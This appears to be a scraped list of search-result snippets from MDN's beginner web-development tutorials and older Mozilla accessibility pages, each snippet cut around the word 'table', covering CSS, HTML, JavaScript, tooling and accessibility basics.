on you need to work towards your goal. get started prerequisites to get the most out of this module, it would be a good idea to either work through at least the first two modules of the html, css, and javascript topics, or perhaps even better, work through the relevant parts of the accessibility module as you work through the related technology topics. note: if you are working on a computer/
tablet/other devices where you don't have the ability to create your own files, you can try out most of the code examples in an online coding program such as jsbin or glitch. guides what is accessibility? this article starts off the module with a good look at what accessibility is — this includes what groups of people we need to consider and why, what tools different people use to interact with...
Backgrounds and borders - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling
tables debugging css organizing your css ...
Handling different text directions - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling
tables debugging css organizing your css ...
Overflowing content - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling
tables debugging css organizing your css ...
Attribute selectors - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling
tables debugging css organizing your css ...
Combinators - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling
tables debugging css organizing your css ...
Test your skills: Selectors - Learn web development
int for this task to work in your own editor or in an online editor. selectors three in this example, try making the following changes without adding to the html. style links, making the link-state orange, visited links green, and remove the underline on hover. make the first element inside the container font-size: 150% and the first line of that element red. stripe every other row in the
table by selecting these rows and giving them a background color of #333 and foreground of white. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. selectors four in this task try the following: make any paragraph that directly follows an h...
Type, class, and ID selectors - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling
tables debugging css organizing your css ...
Sizing items in CSS - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling
tables debugging css organizing your css ...
The box model - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling
tables debugging css organizing your css ...
Flexbox - Learn web development
of android/ios, etc. however you should be aware that there are still older browsers in use that don't support flexbox (or do, but support a really old, out-of-date version of it.) while you are just learning and experimenting, this doesn't matter too much; however if you are considering using flexbox in a real website you need to do testing and make sure that your user experience is still accep
table in as many browsers as possible. flexbox is a bit trickier than some css features. for example, if a browser is missing a css drop shadow, then the site will likely still be usable. not supporting flexbox features however will probably break a layout completely, making it unusable. we discuss strategies for overcoming cross browser support issues in our cross browser testing module. test your ...
Legacy layout methods - Learn web development
ant, and how wide the gutters and columns should be. if we instead decided to lay out our design on a grid with columns that grow and shrink according to browser width, we would need to calculate percentage widths for the columns and gutters between them. in the next sections we will look at how to create both. we will create a 12 column grid — a very common choice that is seen to be very adap
table to different situations given that 12 is nicely divisible by 6, 4, 3, and 2. a simple fixed width grid lets first create a grid system that uses fixed width columns. start out by making a local copy of our sample simple-grid.html file, which contains the following markup in its body. <div class="wrapper"> <div class="row"> <div class="col">1</div> <div class="col">2</div> <div c...
Test your skills: Media Queries and Responsive Design - Learn web development
w this as if on a phone. your task is to create a desktop version of this layout which displays when there is enough screen width to accomodate it. you can see the layout you are aiming for in the screenshot below. there are a number of ways that you could create the desktop layout, enjoy experimenting. you could also add a second breakpoint perhaps creating a layout that would work well on a
tablet in portrait mode. assessment or further help you can practice these examples in the interactive editors mentioned above. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a pos...
CSS layout - Learn web development
some of the legacy techniques you might still want to know about. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module, you should already: have basic familiarity with html, as discussed in the introduction to html module. be comfor
table with css fundamentals, as discussed in introduction to css. understand how to style boxes. note: if you are working on a computer/
tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides these articles will provide instruction on the fundamental layout tools and t...
CSS first steps - Learn web development
basic familiarity with using computers, and using the web passively (i.e. looking at it, consuming the content.) a basic work environment set up as detailed in installing basic software, and an understanding of how to create and manage files, as detailed in dealing with files. basic familiarity with html, as discussed in the introduction to html module. note: if you are working on a computer/
tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides this module contains the following articles, which will take you through all the basic theory of css, and provide opportunities for you to test out some skills. what is css? css (cascading style sheets) allows you...
Use CSS to solve common problems - Learn web development
e part of a css box that the background is drawn under how do i define inline, block, and inline-block? how to create fancy boxes (also see the styling boxes module, generally). how to use background-clip to control how much of the box your background image covers. how to change the box model completely using box-sizing how to control backgrounds how to control borders how to style an html
table how to add shadows to boxes uncommon and advanced techniques css allows some advanced design techniques. these articles help demystify some of the more complicated use cases. general how to calculate specificity of a css selector how to control inheritance in css advanced effects how to use filters in css how to use blend modes in css layout using css flexible boxes using c...
Typesetting a community school homepage - Learn web development
't worry if some of the selectors are repetitious; we'll let you off in this instance. fonts: first of all, download a couple of free-to-use fonts. because this is a college, the fonts should be chosen to give the page a fairly serious, formal, trustworthy feel — a serif site-wide font for the general text body, coupled with sans-serif or slab serif for the headings might be nice. use a sui
table service to generate bulletproof @font-face code for these two fonts. apply your body font to the whole page, and your heading font to your headings. general text styling: give the page a site-wide font-size of 10px. give your headings and other element types appropriate font-sizes defined using a sui
table relative unit. give your body text a sui
table line-height. center your top level he...
Web fonts - Learn web development
run the finished example live). using an online font service online font services generally store and serve fonts for you, so you don't have to worry about writing the @font-face code, and generally just need to insert a simple line or two of code into your site to make everything work. examples include adobe fonts and cloud.typography. most of these services are subscription-based, with the no
table exception of google fonts, a useful free service, especially for rapid testing work and writing demos. most of these services are easy to use, so we won't cover them in great detail. let's have a quick look at google fonts, so you can get the idea. again, use copies of web-font-start.html and web-font-start.css as your starting point. go to google fonts. use the filters on the left-hand side...
Styling text - Learn web development
at applying custom fonts to your page, and styling lists and links. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module, you should already have basic familiarity with html, as discussed in the introduction to html module, and be comfor
table with css fundamentals, as discussed in introduction to css. note: if you are working on a computer/
tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin, codepen or glitch. guides this module contains the following articles, which will teach you all of the essentials behind stylin...
What text editors are available? - Learn web development
ulate? what kind of basic features do i expect from my text editor? do i want to add extra features to my text editor? do i need support/help while using my text editor? does my text editor's look-and-feel matter to me? notice we didn't mention price. obviously, that matters too, but a product's cost has little connection with its quality or capability. there's a big chance you'll find a sui
table text editor for free. here are some popular editors: editor licence price os support doc. extensible atom mit/bsd free windows, mac, linux forum online manual yes bluefish gpl 3 free windows, mac, linux mailing list, wiki online manual yes brackets mit/bsd free windows, mac, linux forum, ir...
What do common web layouts contain? - Learn web development
ominent global information like legal notices or contact info. these elements are quite common in all form factors, but they can be laid out different ways. here are some examples (1 represents header, 2 footer; a main content; b1, b2 things on the side): 1-column layout. especially important for mobile browsers so you don't clutter the small screen up. 2-column layout. often used to target
tablets, since they have medium-size screens. 3-column layouts. only sui
table for desktops with big screens. (even many desktop-users prefer viewing things in small windows rather than full-screen.) the real fun begins when you start mixing them all together: … these are just examples and you're quite free to lay things out as you want. you may notice that, while the content can move a...
How can we design for all types of users? - Learn web development
for instance, feature a graph, or show a person's gesture, or any other information. at minimum, you must provide a relevant alt attribute. if the image can be described succinctly, you can provide an alt attribute and nothing more. if the image cannot be described succinctly, you will have to either provide the same content in another form in the same page (e.g., complement a pie chart with a
table providing the same data), or resort to a longdesc attribute. this attribute's value is a url pointing towards a resource explicitly describing in detail the image's content. note: the use and even the existence of longdesc has been debated for quite some time. please refer to the w3c's image description extension (longdesc) for the full explanation and thorough examples. audio/video you must...
How do I start to design my website? - Learn web development
r, to reach my goals? now that you know what you want to accomplish, it's time to turn those goals into actionable steps. as a side note, your goals are not necessarily set in stone. they evolve over time even in the course of the project, especially if you run across unexpected obstacles or just change your mind. ...
How do you upload your files to a web server? - Learn web development
tp. in the case of rsync, you specify ssh details to make the connection over ssh, using the -e option. for example: rsync [-options] -e "ssh [ssh details go here]" source user@x.x.x.x:destination you can find more details of what is needed at how to copy files with rsync over ssh. rsync gui tools as with other command line tools, gui tools also exist for rsync, for those who are not as comfor
table with using the command line. acrosync is one such tool, and it is available for windows and macos. again, you would have to get the connection credentials from your hosting provider, but this way you'd have a gui to enter them in. github github allows you to publish websites via github pages (gh-pages). we've covered the basics of using this in the publishing your website article from our get...
What is a URL? - Learn web development
as images (with the <img> element), videos (with the <video> element), sounds and music (with the <audio> element), etc.; to display other html documents with the <iframe> element. note: when specifying urls to load resources as part of a page (such as when using the <script>, <audio>, <img>, <video>, and the like), you should generally only use http and https urls, with few exceptions (one no
table one being data:; see data urls). using ftp, for example, is not secure and is no longer supported by modern browsers. other technologies, such as css or javascript, use urls extensively, and these are really the heart of the web. absolute urls vs relative urls what we saw above is called an absolute url, but there is also something called a relative url. let's examine what that distinction me...
What software do I need to build a website? - Learn web development
u usually only need to acquire software for transferring files to your web server. active learning there is no active learning available yet. dig deeper creating and editing webpages to create and edit a website, you need a text editor. text editors create and modify unformatted text files. other formats, like rtf, let you to add formatting, like bold or underline. those formats are not sui
table for writing web pages. you should put some thought into which text editor you use, since you'll be working with it extensively while you're building the website. all desktop operating systems come with a basic text editor. these editors are all straightforward, but lack special features for webpage coding. if you want something a bit fancier, there are plenty of third-party tools available. thir...
How do you set up a local testing server? - Learn web development
thon installed.) to do this: install python. if you are using linux or macos, it should be available on your system already. if you are a windows user, you can get an installer from the python homepage and follow the instructions to install it: go to python.org under the download section, click the link for python "3.xxx". at the bottom of the page, choose the windows x86 execu
table installer and download it. when it has downloaded, run it. on the first installer page, make sure you check the "add python 3.xxx to path" checkbox. click install, then click close when the installation has finished. open your command prompt (windows)/ terminal (macos/ linux). to check python is installed, enter the following command: python -v # or you might have the py comm...
How to build custom form controls - Learn web development
s used for. each role defines its own requirements and behaviors. in our example, we will use the listbox role. it's a "composite role", which means elements with that role expect to have children, each with a specific role (in this case, at least one child with the option role). it's also worth noting that aria defines roles that are applied by default to standard html markup. for example, the <
table> element matches the role grid, and the <ul> element matches the role list. because we use a <ul> element, we want to make sure the listbox role of our control will supersede the list role of the <ul> element. to that end, we will use the role presentation. this role is designed to let us indicate that an element has no special meaning, and is used solely to present information. we will apply it ...
Sending form data - Learn web development
all data that comes to your server must be checked and sanitized. always. no exception. escape potentially dangerous characters. the specific characters you should be cautious with vary depending on the context in which the data is used and the server platform you employ, but all server-side languages have functions for this. things to watch out for are character sequences that look like execu
table code (such as javascript or sql commands). limit the incoming amount of data to allow only what's necessary. sandbox uploaded files. store them on a different server and allow access to the file only through a different subdomain or even better through a completely different domain. you should avoid many/most problems if you follow these three rules, but it's always a good idea to get a secur...
Test your skills: Form structure - Learn web development
task we want you to structure the provided form features: separate out the first two and second two form fields into two distinct containers, each with a descriptive legend (use "personal details" for the first two, and "comment information" for the second two). mark up each text label with an appropriate element so that it is semantically associated with its respective form field. add a sui
table set of structural elements around the label/field pairs to separate them out. download the starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice this example in the interactive editor above. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor suc...
Test your skills: Form validation - Learn web development
help section at the bottom of this page. form validation 1 in this task, we are providing you with a simple support query form, and we want you to add some validation features to it: make all of the input fields mandatory to complete before the form can be submitted. change the type of the "email address" and "phone number" fields to make the browser apply some more specific validation sui
table for the data being asked for. give the "user name" field a required length of between 5 and 20 characters, the "phone number" field a maximum length of 15 characters, and the "comment" field a maximum length of 200 characters. try submitting your form — it should refuse to submit until the above constaints are followed, and give sui
table error messages. to help, you might want to consider ad...
Installing basic software - Learn web development
reading this article on your phone or a library computer. for serious web development, it's better to invest in a desktop or laptop computer running windows, macos or linux. a text editor, to write code in. this could be a text editor (e.g. visual studio code, notepad++, sublime text, atom, gnu emacs, or vim), or a hybrid editor (e.g. dreamweaver or webstorm). office document editors are not sui
table for this use, as they rely on hidden elements that interfere with the rendering engines used by web browsers. web browsers, to test code in. currently, the most-used browsers are firefox, chrome, opera, safari, internet explorer and microsoft edge. you should also test how your site performs on mobile devices and on any old browsers your target audience may still be using (such as ie 8–10.) ly...
What will your website look like? - Learn web development
e from earlier. keep these close by. theme color to choose a color, go to the color picker and find a color you like. when you click on a color, you'll see a strange six-character code like #660066. that's called a hex code (short for hexadecimal), and represents your color. copy the code down somewhere safe for now. images to choose an image, go to google images and search for something sui
table. when you find the image you want, click on the image to get an enlarged view of it. right-click the image (ctrl + click on a mac), choose save image as..., and choose a safe place to save your image. alternatively, copy the image's web address from your browser's address bar for later use. note that most images on the web, including in google images, are copyrighted. to reduce your likel...
Getting started with the Web - Learn web development
another. dealing with files explains how to set up a sensible file structure for your website and what issues you should be aware of. html basics hypertext markup language (html) is the code that you use to structure your web content and give it meaning and purpose. for example, is my content a set of paragraphs or a list of bullet points? do i have images inserted on my page? do i have a data
table? without overwhelming you, html basics provides enough information to make you familiar with html. css basics cascading stylesheets (css) is the code that you use to style your website. for example, do you want the text to be black or red? where should content be drawn on the screen? what background images and colors should be used to decorate your website? css basics takes you through what you...
Add a hitmap on top of an image - Learn web development
y consider their performance and accessibility ramifications. text links (perhaps styled with css) are preferable to image maps for several reasons: text links are lightweight, maintainable, often more seo-friendly, and support accessibility needs (e.g., screen readers, text-only browsers, translation services). how to insert an image map, properly step 1: the image not just any image is accep
table. the image must make it clear what happens when people follow image links. alt text is mandatory, of course, but many people never see it. the image must clearly indicate where hotspots begin and end. hotspots must be large enough to tap comfortably, at any viewport size. how large is large enough? 72 × 72 css pixels is a good minimum, with additional generous gaps between touch targets. th...
Debugging HTML - Learn web development
you look at the listing, you can probably see how println!(hello, world!"); might logically be missing a double quote. however, error messages can quickly get more complicated and less easy to interpret as programs get bigger, and even simple cases can look a little intimidating to someone who doesn't know anything about rust. debugging doesn't have to be scary though — the key to being comfor
table with writing and debugging any programming language or code is familiarity with both the language and the tools. html and debugging html is not as complicated to understand as rust. html is not compiled into a different form before the browser parses it and shows the result (it is interpreted, not compiled). and html's element syntax is arguably a lot easier to understand than a "real programmi...
Document and website structure - Learn web development
semantic wrappers sometimes you'll come across a situation where you can't find an ideal semantic element to group some items together or wrap some content. sometimes you might want to just group a set of elements together to affect them all as a single entity with some css or javascript. for cases like these, html provides the <div> and <span> elements. you should use these preferably with a sui
table class attribute, to provide some kind of label for them so they can be easily targeted. <span> is an inline non-semantic element, which you should only use if you can't think of a better semantic text element to wrap your content, or don't want to add any specific meaning. for example: <p>the king walked drunkenly back to his room at 01:00, the beer doing nothing to aid him as he staggered thro...
Structuring a page of content - Learn web development
ning the main title for the page, the site logo, and the navigation menu. the title and logo appear side by side once styling is applied, and the navigation appears below those two items. a main content area containing two columns — a main block to contain the welcome text, and a sidebar to contain image thumbnails. a footer containing copyright information and credits. you need to add a sui
table wrapper for: the header the navigation menu the main content the welcome text the image sidebar the footer you should also: apply the provided css to the page by adding another <link> element just below the existing one provided at the start. hints and tips use the w3c nu html checker to catch unintended mistakes in your html, css, and svg — mistakes you might have otherwise m...
Video and audio content - Learn web development
prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting started with html) and images in html. objective: to learn how to embed video and audio content into a webpage, and add captions/subtitles to video. ...
Multimedia and Embedding - Learn web development
se that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module, you should have a reasonable understanding of the basics of html, as previously covered in introduction to html. if you've not worked through this module (or something similar), work through it first, then come back! note: if you are working on a computer/
tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides this module contains the following articles which will take you through all the fundamentals of embedding multimedia on webpages. images in html there are other types of multimedia to consider, but it is logical t...
Structuring the web with HTML - Learn web development
s the stage, getting you used to important concepts and syntax, looking at applying html to text, how to create hyperlinks, and how to use html to structure a webpage. multimedia and embedding this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages. html
tables representing tabular data on a webpage in an understandable, accessible way can be a challenge. this module covers basic
table markup, along with more complex features such as implementing captions and summaries. solving common html problems use html to solve common problems provides links to sections of content explaining how to use html to solve very common problems when creating a webpage...
Asynchronous JavaScript - Learn web development
through javascript first steps and javascript building blocks modules before attempting this. if you are not familiar with the concept of asynchronous programming, you should definitely start with the general asynchronous programming concepts article in this module. if you are, then you can probably skip to the introducing asynchronous javascript module. note: if you are working on a computer/
tablet/other device where you don't have the ability to create your own files, you can try out (most of) the code examples in an online coding program such as jsbin or glitch. guides general asynchronous programming concepts in this article we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and javascript. you should underst...
Functions — reusable blocks of code - Learn web development
in functions avoids such problems, and is considered the best practice. it is a bit like a zoo. the lions, zebras, tigers, and penguins are kept in their own enclosures, and only have access to the things inside their enclosures — in the same manner as the function scopes. if they were able to get into other enclosures, problems would occur. at best, different animals would feel really uncomfor
table inside unfamiliar habitats — a lion or tiger would feel terrible inside the penguins' watery, icy domain. at worst, the lions and tigers might try to eat the penguins! the zoo keeper is like the global scope — he or she has the keys to access every enclosure, to restock food, tend to sick animals, etc. active learning: playing with scope let's look at a real example to demonstrate scopin...
Test your skills: Loops - Learn web development
this aim of this skill test is to assess whether you've understood our looping code article. note: you can try out solutions for the tasks below by downloading the code, putting it in an online tool such as codepen, jsfiddle, or glitch, then working on the tasks. we didn't provide live edi
table versions of these tasks because of the risk of creating infinite loops and crashing the assessment page! if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the pa...
JavaScript building blocks - Learn web development
to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module, you should have some familiarity with the basics of html and css, and you should have also worked through our previous module, javascript first steps. note: if you are working on a computer/
tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides making decisions in your code — conditionals in any programming language, code needs to make decisions and carry out actions accordingly depending on different inputs. for example, in a game, if the player's numb...
A first splash into JavaScript - Learn web development
of the code sets up the variables and constants we need to store the data our program will use. variables are basically containers for values (such as numbers, or strings of text). you create a variable with the keyword let (or var) followed by a name for your variable (you'll read more about the difference between the keywords in a future article). constants are used to store values that are immu
table or can't be changed and are created with the keyword const. in this case, we are using constants to store references to parts of our user interface; the text inside some of them might change, but the html elements referenced stay the same. you can assign a value to your variable or constant with an equals sign (=) followed by the value you want to give it. in our example: the first variable ...
Silly story generator - Learn web development
that simply rounds the result of a calculation to the nearest whole number. there are three instances of strings that need to be replaced. you may repeat the replace() method multiple times, or you can use regular expressions. for instance, let text = 'i am the biggest lover, i love my love'; text.replace(/love/g,'like'); will replace all instances of 'love' to 'like'. remember, strings are immu
table! assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for silly story generator". ...
Handling text — strings in JavaScript - Learn web development
g strings, creating custom welcome messages and prompts, showing the right text labels when needed, sorting terms into the desired order, and much more. pretty much all of the programs we've shown you so far in the course have involved some string manipulation. strings — the basics strings are dealt with similarly to numbers at first glance, but when you dig deeper you'll start to see some no
table differences. let's start by entering some basic lines into the browser developer console to familiarize ourselves. creating a string to start with, enter the following lines: let string = 'the revolution will not be televised.'; string; just like we did with numbers, we are declaring a variable, initializing it with a string value, and then returning the value. the only difference here is...
Test your skills: variables - Learn web development
help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). variables 1 in this task we want you to: declare a variable called myname. initialize myname with a sui
table value, on a separate line (you can use your actual name, or something else). declare a variable called myage and initialize it with a value, on the same line. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. variables 2 in this task you need to add a new line to correct the val...
Introducing JavaScript objects - Learn web development
amiliarity with html and css. you are advised to work through the introduction to html and introduction to css modules before starting on javascript. you should also have some familiarity with javascript basics before looking at javascript objects in detail. before attempting this module, work through javascript first steps and javascript building blocks. note: if you are working on a computer/
tablet/other devices where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides object basics in the first article looking at javascript objects, we'll look at fundamental javascript object syntax, and revisit some javascript features we've already looked at earlier on in the course, reiterat...
Aprender y obtener ayuda - Learn web development
lt by next april etc. keep thinking about how much progress you are making, and adjust your plan if needs be. staying motivated it is hard to stay motivated, especially if you are trying to learn a complex skill like programming or web development. what follows are some tips to stay motivated and keep working: try to make your work environment as productive as possible. try to get a comfor
table desk and chair to work in, make sure you have enough light to see what you are doing, and try to include things that help you concentrate (e.g. mellow music, fragrances, whatever else you need). don't try to work in a room with distractions — for example a television on, with your friends watching football! also, leave your mobile phone out of the room — most people we have are distracted by ...
Server-side web frameworks - Learn web development
, static file server, cgi/psgi detection, and first-class unicode support. a full-stack http and websocket client/server implementation with ipv6, tls, sni, idna, http/socks5 proxy, unix domain socket, comet (long polling), keep-alive, connection pooling, timeout, cookie, multipart, and gzip compression support. json and html/xml parsers and generators with css selector support. very clean, por
table and object-oriented pure-perl api with no hidden magic. fresh code based upon years of experience, free and open-source. spring boot (java) spring boot is one of a number of projects provided by spring. it is a good starting point for doing server-side web development using java. although definitely not the only framework based on java it is easy to use to create stand-alone, production-grad...
Dynamic behavior in Svelte: working with variables and props - Learn web development
efresh the tasks <ul>. just adding todos = todos to the end of the addtodo() function would solve the problem, but it seems strange to have to include that at the end of the function. instead, we'll take out the push() method and use spread syntax to achieve the same result — we'll assign a value to the todos array equal to the todos array plus the new object. note: array has several mu
table operations — push(), pop(), splice(), shift(), unshift(), reverse(), and sort(). using them often causes side effects and bugs that are hard to track. by using the spread syntax instead of push() we avoid mutating the array, which is considered a good practice. update your addtodo() function like so: function addtodo() { todos = [...todos, { id: 999, name: newtodoname, completed: fal...
Creating our first Vue component - Learn web development
m"></to-do-item> now you'll see the label in your app, and the warning won't be spat out in the console again. so that's props in a nutshell. next we'll move on to how vue persists data state. vue's data object if you change the value of the label prop passed into the <to-do-item></to-do-item> call in your app component, you should see it update. this is great. we have a checkbox, with an upda
table label. however, we're currently not doing anything with the "done" prop — we can check the checkboxes in the ui, but nowhere in the app are we recording whether a todo item is actually done. to achieve this, we want to bind the component's done prop to the checked attribute on the <input> element, so that it can serve as a record of whether the checkbox is checked or not. however, it's importa...
Understanding client-side JavaScript frameworks - Learn web development
e. as an aspiring front-end developer, it can be hard to work out where to begin when learning frameworks — there are so many different frameworks to choose from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks. in this set of articles, we are aiming to give you a comfor
table starting point to help you begin learning frameworks. we are not aiming to exhaustively teach you everything you need to know about react/reactdom, or vue, or some other specific framework; the framework teams' own docs (and other resources) do that job already. instead, we want to back up and first answer more fundamental questions such as: why should i use a framework? what problems do they ...
Handling common HTML and CSS problems - Learn web development
h allows you to implement native feature detection tests. responsive design problems responsive design is the practice of creating web layouts that change to suit different device form factors — for example, different screen widths, orientations (portrait or landscape), or resolutions. a desktop layout for example will look terrible when viewed on a mobile device, so you need to provide a sui
table mobile layout using media queries, and make sure it is applied correctly using viewport. you can find a detailed account of such practices in the building blocks of responsive design. resolution is a big issue too — for example, mobile devices are less likely to need big heavy images than desktop computers, and are more likely to have slower internet connections and possibly even expensive dat...
Command line crash course - Learn web development
e. if you are not careful, then you might end up deleting something important, losing you a load of your work in the process. one good habit to get into is to write your terminal command out inside a text editor, figure out how you think it should look, and then make a backup copy of your directory and try running the command on that first, to test it. another good tip — if you’re not comfor
table trying terminal commands out on your own machine, a nice safe place to try them is over at glitch.com. along with being a great place to try out web development code, the projects also give you access to a terminal, so you can run all these commands directly in that terminal, safe in the knowledge that you won’t break your own machine. a great resource for getting a quick overview of specifi...
Client-side tooling overview - Learn web development
t make the code you write a little better. this part of the tooling should be specific to your own development environment, though it’s not uncommon for companies to have some kind of policy or pre-baked configuration available to install so that all their developers are all using the same processes. this includes anything that makes your development process easier with respect to generating s
table and reliable code. safety net tooling should also help you either prevent mistakes or correct mistakes automatically without having to build your code from scratch each time. a few very common safety net tool types you will find being used by developers are as follows. linters linters are tools that check through your code and tell you about any errors that are present, what error types they a...
Package management basics - Learn web development
ll work. if a different version of webpack was installed, it may not be compatible. to mitigate this dependencies are installed locally to a project. to see local dependencies really shine, all you need to do is try to download and run an existing project — if it works and all the dependencies work right out of the box, then you have local dependencies to thank for the fact that the code is por
table. note: npm is not the only package manager available. a successful and popular alternative package manager is yarn. yarn resolves the dependencies using a different algorithm that can mean a faster user experience. there are also a number of other emerging clients, such as pnpm. package registries for a package manager to work, it needs to know where to install packages from, and this comes ...
Tools and testing - Learn web development
as your web projects become larger and more complex, you'll want to start taking advantage of some of these tools, working out a reliable toolchain to give your development process superpowers. ...
ChromeWorkers and the Chrome worker loader
. that makes it available not only to the application itself, but also to add-ons. this documentation covers chrome workers and the chrome worker module loader. note: if you're contributing content to this section, create subpages using the "new sub-page" option in the "this page" menu. once you've saved your new page, come back to this one and force-refresh this page. that will regenerate the
table of contents below for all readers. chrome worker modulesthe preferred way to define and load modules for chrome workers is to use the chrome worker module loader. this module loader should not surprise developers familiar with commonjs, as it implements a minimal commonjs require(). ...
Accessibility information for UI designers and developers
need to be exactly the same, it is fine to have a different current menu item or different subnavigation links. do make sure they appear in the same place. that way, users of screen readers and screen magnifiers can reliably make assumptions about them and skip over them. see also: understanding success criterion 3.2.3: consistent navigation headings the heading structure of a page is like its
table of contents, so it is important that the levels are consistent. the most important thing about consistent headings is that no levels are skipped. for example: after a level 2 heading, the first subheading would be a level 3, and never a level 4 or 5. just like in contracts, if there is a 1.2.4 paragraph, you would expect there to be a paragraph 1.2, of which it is a subsection. many screenreader...
CSUN Firefox Materials
, with the best support currently coming from gw micro's window-eyes 5.5. jaws support is quickly catching up as well. in recent articles from both afb's access world and nfb's voice of the nation's blind, reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users. in fact, the same keyboard commands are still available, so users can become comfor
table and productive right away. screen magnifier users can also benefit from firefox's powerful features today, as caret and focus tracking are fully enabled. mozilla corporation is currently reaching out to work with ai squared, the makers of zoomtext, in order to enable complete support of advanced zoomtext features such as the doc reader and app reader. firefox on linux currently boasts the best on...
Links and Resources
webpage related to section 508 standards and/or the wcag guidelines. html advanced validator (firefox extension) by marc gueury this advanced html validator (based on w3c tidy and on opensp for sgml validation - just like w3c html validator) is a free, powerful, versatile, extended html validator. it can work offline. it can also report accessibility errors and warnings according to selec
table accessibility guidelines (section 508, wcag priorities 1, 2 or 3). its accessibility report is viewable in the view source window. this html advanced validator may also be downloaded from firefox add-ons: html validator. open source assistive technology projects nonvisual desktop access open source screen reader for windows, written in python. lsr open source screen reader for linux,...
Mozilla Plugin Accessibility
will apply the same solution as in problem 4 above. the plugin will be responsible for bubbling up shift+tab and tab when the user has reached the end of the tab cycle within the plugin. the bug tracking this work is bug 93149. ? no target 3. many plugins lack accessibility api support most plugins that work with mozilla do not yet support accessibility apis. a no
table acception is the adobe pdf plugin on windows, which supports msaa. in other cases, vendors need to find or be convinced of the business justification so that resources are applied to the problem. plugin vendors. unknown 4. seamonkey has no message bar for plugin installation the message bar will be ported to seamonkey as part of the toolkit merging work that will...
Mozilla's Section 508 Compliance
mostly complete. caveats: 1) although sidebar cannot be customized without a mouse, all sidebar functions that come with the browser are available through other means 2) java and in-page plugins cannot be used with the keyboard, so they must not be installed fo...
Multiprocess on Windows
_is annotations. if your interface contains two functions with those annotations, then you will need to add two arraydata entries. arraydata contains seven fields: iid miid; ulong mmethodindex; ulong marrayparamindex; vartype marrayparamtype; iid marrayparamiid; ulong mlengthparamindex; flag mflag; miid is the uuid of the interface owning the function. mmethodindex is the v
table index of the function within its interface. this index must take into account the v
table(s) of parent interfaces. for example, if interface ifoo inherits from iunknown, the lowest possible mmethodindex for ifoo could be 3, because indices 0, 1, and 2 are occupied by the functions that ifoo inherited from iunknown. marrayparamindex is the index of the parameter that contains the array (excluding ...
Software accessibility: Where are we today?
ch (tts) makes the computer talk to the user: those who can't read print at all usually use talking programs (text-to-speech). talking programs are also useful for print disabilities other than visual impairments, such as dyslexia. additionally, text-to-speech is used by those who cannot speak, in place of their own voice. finally, this technology could be useful to mainstream users, on por
table information appliances, or to access information when the eyes are busy elsewhere. magnification enlarges the screen's contents: for those with low vision, it may suffice to use a larger font, a built-in high contrast theme, or even just an an extra large screen. otherwise, screen magnification programs may be used, which allow zooming in to portions of the screen, while following t...
ZoomText
it doesn't do us any good to get bug reports on older stuff right now. our main focus is on the browser itself, so you you only need to install mailnews or address book if curious about the other apps. ...
